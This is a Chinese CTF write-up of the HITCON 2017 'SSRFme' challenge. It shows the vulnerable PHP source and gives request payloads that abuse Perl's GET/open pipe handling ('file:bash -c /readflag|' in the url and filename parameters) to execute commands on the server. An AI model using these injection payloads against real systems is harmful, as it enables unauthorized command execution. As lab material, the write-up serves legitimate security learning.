[BUUCTF][HITCON 2017]SSRFme
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
前置
$_SERVER, Server and execution environment information — 服务器和执行环境信息
REMOTE_ADDR,正在浏览当前页面用户的 IP 地址。
shell_exec(): 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数。
pathinfo() 返回一个关联数组包含有 path 的信息。 包括以下的数组元素:
[dirname] //路径名
[basename] //文件名
[extension] //扩展名
分析
第一段代码返回当前ip
创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip
通过url参数输入的内容会以GET命令执行,
命令执行的结果会被存入我们以filename参数的值命名的文件里
方法一:
直接读取根目录并创建名为123的文件夹
?url=/&filename=123
发现了根目录中有/readflag
文件夹,猜想利用该方法读取flag
利用bash -c "cmd string"来执行命令执行readflag。
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到aaa文件
访问sandbox/md5/aaa(得到flag)
知识点
GET
是Lib for WWW in Perl
中的命令, 目的是模拟http
的GET
请求
利用perl的open命令有可能会导致命令执行
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
open函数只有在找到指定文件文件名的情况下才会把该特殊形式的文件当作命令在执行。
open函数本身还支持file协议
参考:
https://blog.csdn.net/weixin_40228200/article/details/112481089?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_title~default-0.no_search_link&spm=1001.2101.3001.4242
https://blog.csdn.net/solitudi/article/details/108909609
https://blog.csdn.net/qq_45521281/article/details/105868449